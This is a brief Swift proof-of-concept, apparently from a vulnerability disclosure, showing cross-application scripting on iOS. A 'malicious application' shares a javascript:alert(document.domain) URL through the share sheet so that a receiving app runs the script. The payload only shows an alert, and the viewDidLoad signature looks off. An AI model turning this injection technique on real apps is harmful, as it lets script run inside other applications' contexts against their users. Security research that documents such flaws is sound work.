

On Malicious Application

```
import UIKit
class ViewController: UIViewController {
    override func viewDidLoad(animated: Bool) {
        super.viewDidLoad(animated: false)
        let textToShare = "PoC of Cross Application Scripting"
        if let myWebsite = NSURL(string: "javascript:alert(document.domain)")
        {
            let objectsToShare = [textToShare, myWebsite]
            let activityVC = UIActivityViewController(activityItems: objectsToShare, applicationActivities: nil)
            self.presentViewController(activityVC, animated: true, completion: nil)
        }
    }
}
```
